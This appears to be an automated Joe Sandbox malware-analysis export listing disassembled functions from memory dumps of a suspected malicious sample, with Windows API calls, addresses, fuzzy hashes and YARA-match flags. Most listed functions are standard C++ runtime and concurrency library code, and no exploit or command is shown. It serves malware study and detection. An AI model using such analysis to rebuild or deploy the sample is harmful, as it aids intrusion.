Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction ID: 2cab050521de483efd96017087610fc3f30e74a54cc47d0169a136835d7690e0
Opcode Fuzzy Hash: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction Fuzzy Hash: 36F0827560020ABBCB10EFA4DD09E9A77686B00300F500160B611E2091DB78DA109760

Function 0040F291 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00420232,000000A4,000000FF,0000000C), ref: 0040F2A8
GetLastError.KERNEL32(?,?,?,?,00415269,?,?,?,?,00000000,?,00000000), ref: 0040F2B7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F2CD
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F2DB

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction ID: 02f9a03264539930563cd34e7be57c163234cb2cc31304c403e6ca74099714cd
Opcode Fuzzy Hash: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction Fuzzy Hash: 20F0823660010ABBCB10EFA19D05F9B37686B00304F1045B6B610E11D1D778D6149764

Function 0074F21D Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 0074F233
GetLastError.KERNEL32(?,?,?,?,?,0074DA40), ref: 0074F241
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F257
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F265

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction ID: 9d212a32bc0836e043ee7ce1f12e17ad5baa9e8afce6af33547111ea294c7ec5
Opcode Fuzzy Hash: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction Fuzzy Hash: CAE0DF66A402196AE710B2B59C0BFBF36ACAB00744F800871FA15E10C3FBECE90081A4

Function 0040EFB6 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 0040EFCC
GetLastError.KERNEL32(?,?,?,?,?,0040D7D9), ref: 0040EFDA
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040EFF0
__CxxThrowException@8.LIBVCRUNTIME ref: 0040EFFE

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction ID: 88e0b1bbaa0f7681663c4c788f6c7ee9a8ce8510b39d6b1afe57d8476506bdca
Opcode Fuzzy Hash: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction Fuzzy Hash: 86E0D86260421A3AE710B6765C07F7B75AC5B00748F40087ABD10F51C3FE7CD50041AC

Function 007561D0 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0074F5F9: TlsAlloc.KERNEL32(?,0074DA40), ref: 0074F5FF

TlsAlloc.KERNEL32(?,0074DA40), ref: 00760886
GetLastError.KERNEL32 ref: 00760898
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007608AE
__CxxThrowException@8.LIBVCRUNTIME ref: 007608BC

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction ID: d646beeebb648f8ece00838687afc44a579f0b0497d40ebe256e5ad62ea2054e
Opcode Fuzzy Hash: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction Fuzzy Hash: 9BE09BB4500206DAC310FBB4AC0E66A3568A500315B500A75F953D3093EF7CD4104AE5

Function 00415F69 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040F392: TlsAlloc.KERNEL32(?,0040D7D9), ref: 0040F398

TlsAlloc.KERNEL32(?,0040D7D9), ref: 0042061F
GetLastError.KERNEL32 ref: 00420631
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00420647
__CxxThrowException@8.LIBVCRUNTIME ref: 00420655

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction ID: d55b72d3dc389f1b55e33ca6daf9b42cf2c1301c1d7b9e40057b85ffcf4c9527
Opcode Fuzzy Hash: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction Fuzzy Hash: 8DE09B759042259AC710BB757C4676E72A86600329B500A7BB511E21D3EE7CD0144A6D

Function 0074F434 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0074DA40), ref: 0074F43E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0074DA40), ref: 0074F44D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F463
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F471

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction ID: 4db7705ca0e6f808722b937886f9a1e2ec13654d56f8201e3b48257ace923c37
Opcode Fuzzy Hash: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction Fuzzy Hash: 0EE04F7560010AEBCB10FBB4EE4AFAF73BD6A01705F600475EA12E2052EB78DA049775

Function 0040F1CD Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9), ref: 0040F1D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9), ref: 0040F1E6
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F1FC
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F20A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction ID: 47612340566f4a9e53bbf7ce0f7f02b3a4e7c0ffb8a5b8ca93bd61d5f3af6adb
Opcode Fuzzy Hash: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction Fuzzy Hash: 35E0487560010AE7C710FBB5DD49BAF73BC6A00749F600476A501F6191EB78DA089778

Function 0074F58C Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 0074F598
GetLastError.KERNEL32 ref: 0074F5A4
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F5BA
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F5C8

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction ID: 12b66a9e0b13ae3933e8df919baa10df56b7e091bbde7b5a09b6bd84e894976f
Opcode Fuzzy Hash: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction Fuzzy Hash: 61E08635500109ABCB11BFB4DD09BBF776DBF00340F404475FA11D10A2EF79D5249694

Function 0074F652 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00754878,00000000,?,?,0074DA40,?,?,?,00000000,?,00000000), ref: 0074F65E
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 0074F66A
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F680
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F68E

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction ID: 8f6ba249923daffd1bcc4aa3fc754db789378fa59b29113da82537f7d4eed815
Opcode Fuzzy Hash: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction Fuzzy Hash: 8EE08675100109BBCB11BB74DC09FBA36BDBB00340F504435F911D50B2EB79D52096A9

Function 0040F325 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 0040F331
GetLastError.KERNEL32 ref: 0040F33D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F353
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F361

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction ID: ad1b30f8b29eb4754f3c147ea891a3c9bc644e3f106de30e3fb40403659093ba
Opcode Fuzzy Hash: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction Fuzzy Hash: EEE08635500119ABDB10BF71DC05BBF366C7B00354F404476B911E64E2EB79E51486AC

Function 0040F3EB Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00414611,00000000,?,?,0040D7D9,?,?,?,00000000,?,00000000), ref: 0040F3F7
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 0040F403
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F419
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F427

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction ID: af6f81f0ae9f997f41eac523e7b58aeaf6014cd0ab5594ec7dd364ba1872c0e2
Opcode Fuzzy Hash: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction Fuzzy Hash: 04E08636500119BBCB20BF61EC05BBB36AC7B00348F504476BD11E60E2EB7DD51486AC

Function 0074F5F9 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,0074DA40), ref: 0074F5FF
GetLastError.KERNEL32 ref: 0074F60C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F622
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F630

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction ID: 8bbf5a2aea8fc5c3a2b18d19c817db50df3ea446b7bf04e55ebec6d99ed123ef
Opcode Fuzzy Hash: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction Fuzzy Hash: 65E0C2741001099AC710B7B4AD0EB7A326D6A01314FA00A31F922D20E2EF7CD41486A5

Function 0040F392 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,0040D7D9), ref: 0040F398
GetLastError.KERNEL32 ref: 0040F3A5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F3BB
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F3C9

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction ID: be761c558a9f5699cf18598b180e9d3bee1dccdc7d39723afc0543c90a315d7c
Opcode Fuzzy Hash: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction Fuzzy Hash: CFE0C23250011967D720B775AC0ABBF726C7A00328F900A77F921E25E6EB7CD40886AC

Function 0042BD2D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0042BDBD

Strings

pow, xrefs: 0042BD95, 0042BDB2

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8813d14ff12db0fab082b7680c912f1b121f26e65e05ad6cab00e7151d8c8a0e
Instruction ID: e59391396e65788a4ebd998fb9d6551a54048acbd5d5e26246bd112aefaef8eb
Opcode Fuzzy Hash: 8813d14ff12db0fab082b7680c912f1b121f26e65e05ad6cab00e7151d8c8a0e
Instruction Fuzzy Hash: B9515C61B18A0196CB167714ED013EB3BA0DB44740F649D6BE095823E9EB3D8C86DACF

Function 007655E7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0076561A
__IsNonwritableInCurrentImage.LIBCMT ref: 007656D3

Strings

csm, xrefs: 007656BD

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction ID: f8c0eb0e35175874a1b3fd5aa242f2863b45c817b0c20edf958d631d9f1f2dff
Opcode Fuzzy Hash: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction Fuzzy Hash: 5241D470A00608EBCF10DF68C884A9EBBB5BF44724F548165EC165B392D77AEE15DF90

Function 00776022 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

Part of subcall function 00776141: _free.LIBCMT ref: 007761A7

Part of subcall function 00775DB6: GetOEMCP.KERNEL32(00000000), ref: 00775DE1

_free.LIBCMT ref: 0077609A
_free.LIBCMT ref: 007760D0

Strings

8hE, xrefs: 007760C4

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: 8hE
API String ID: 3291180501-2125150602
Opcode ID: 4a8111a0473c21f172078903722c53b076ccd058cf28126b71fd079b99ea01fa
Instruction ID: b701cae98d22d1058576f69d848b090b5041c09c09d718bc33189dba24999444
Opcode Fuzzy Hash: 4a8111a0473c21f172078903722c53b076ccd058cf28126b71fd079b99ea01fa
Instruction Fuzzy Hash: D6310A31904608EFDF10DBA8D445FAD77F5EF413A1F25819DE8089B292EB799D40CB50

Function 00777D80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00777FDB,?,00000050,?,?,?,?,?), ref: 00777E5B

Strings

ACP, xrefs: 00777D9E
OCP, xrefs: 00777DD4

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction ID: 755f6d9e63fde1983a0db551c6193b42c24911f6e7be67b519a42e3f275e8b60
Opcode Fuzzy Hash: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction Fuzzy Hash: 1421A462B08104A6EF398A648901BAB7366AF55FD5F56C4A4ED0DD7200FB7ADD40C390

Function 00437B19 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00437D74,?,00000050,?,?,?,?,?), ref: 00437BF4

Strings

OCP, xrefs: 00437B6D
ACP, xrefs: 00437B37

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction ID: 67c590b936067491d1388e228c8db0bebbeb9485e66e8974699d849994372636
Opcode Fuzzy Hash: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction Fuzzy Hash: C42107A2A08105A6E7348B14C841B97F2BADB5DF59F529426E986D7301F73AFD00C35C

Function 007697A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 0076986D

Strings

pdE, xrefs: 00769823
pdE, xrefs: 0076981C

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: pdE$pdE
API String ID: 4062629308-250928805
Opcode ID: 0b6c3d311c616e34192bc8da14ed6fc5951571ff1e319df1b96a6c3fab3b52bd
Instruction ID: e86bde41646f3446e7829034f2e188f061212bf47c82f5989ce162ef94f2b678
Opcode Fuzzy Hash: 0b6c3d311c616e34192bc8da14ed6fc5951571ff1e319df1b96a6c3fab3b52bd
Instruction Fuzzy Hash: 89213B71A10201CACB186B789C0A76E37A99F43735F28831AFD278B1D2DB7CDD478645

Function 0076951E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 007695E6

Strings

pdE, xrefs: 00769595
pdE, xrefs: 0076959C

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: pdE$pdE
API String ID: 4062629308-250928805
Opcode ID: 538fa64867db25252533b80dc3d75b3de66874e9f1644788b6d3c8990c3b6206
Instruction ID: 3fa2a6badc95639d565c1d58df2afecddce1f3f0468fdc1dbd23e2439d7feb9a
Opcode Fuzzy Hash: 538fa64867db25252533b80dc3d75b3de66874e9f1644788b6d3c8990c3b6206
Instruction Fuzzy Hash: 532179B0910200CACB1A6B788C0A32E33645F46734F248319FD278B2D3DB3C8D138A49

Function 007698AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007698DA
_free.LIBCMT ref: 00769900

Strings

paE, xrefs: 00769919

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free
String ID: paE
API String ID: 269201875-3521142459
Opcode ID: 124e295daebc4e4f7b4b15543f23f47b3091b41b3836c9387ed3c493eea40993
Instruction ID: 92f14bc9ed14f30f983b298059be6d61ce72b0747ffc20de904cb2371ecc88fb
Opcode Fuzzy Hash: 124e295daebc4e4f7b4b15543f23f47b3091b41b3836c9387ed3c493eea40993
Instruction Fuzzy Hash: E3110670E10300DADF219F29AC46B563358A740731F10027AFF1AEB2D2EF78E8418B94

Function 00401C54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 00401C6F
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 00401C94

Strings

image/png, xrefs: 00401CA2

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: EncodersGdipImage$Size
String ID: image/png
API String ID: 864223233-2966254431
Opcode ID: b12be1c204901d25cb2b256bbcb4395d0bb9339f1f3a0ac9645041241f2b4f7d
Instruction ID: f0d3dd24fc60b303086e21c805d932d5d4dde701268f4373fd21b3475efe1bce
Opcode Fuzzy Hash: b12be1c204901d25cb2b256bbcb4395d0bb9339f1f3a0ac9645041241f2b4f7d
Instruction Fuzzy Hash: 2E11A336D08119EFDB11DFD9D9808AEBBB5FE41360B6002BBF921B32E0D7759E409A54

Function 007473AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 007473B5

Part of subcall function 00749F74: _Deallocate.LIBCONCRT ref: 00749F89

Part of subcall function 00747646: _Deallocate.LIBCONCRT ref: 00747659

Strings

uC, xrefs: 007473B0
8et, xrefs: 007473EA

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Deallocate$H_prolog3_
String ID: 8et$uC
API String ID: 2027147138-3362290798
Opcode ID: 95d40ef4f7e36f300c80322a20e5fdac5c383204621251f896cbe625889598ff
Instruction ID: bcc7170fafd9e1e348b434add5bf4a4e50c9fc92bd447fec9cf822a8039361fb
Opcode Fuzzy Hash: 95d40ef4f7e36f300c80322a20e5fdac5c383204621251f896cbe625889598ff
Instruction Fuzzy Hash: 5D21B371D01208EFCB19DFA9D98599EBBB5FF49310B10806EF815AB361DB74AA05CF50

Function 00749561 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00749568
_strlen.LIBCMT ref: 00749583

Strings

NC, xrefs: 00749563

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: H_prolog3__strlen
String ID: NC
API String ID: 807648885-3745593769
Opcode ID: 91c8560626cccada091aebaa365375dac48ae2b9ccca00331eb8da21f647c3e2
Instruction ID: fa216c13841d1d9e0e077fa9c38c9898f019b9d24806d4427b2b500400bfaa06
Opcode Fuzzy Hash: 91c8560626cccada091aebaa365375dac48ae2b9ccca00331eb8da21f647c3e2
Instruction Fuzzy Hash: 0711F731900209DFCF05EFA4C9959EEBBB4EF49310F54942DFA05A7191DB78AA44CF61

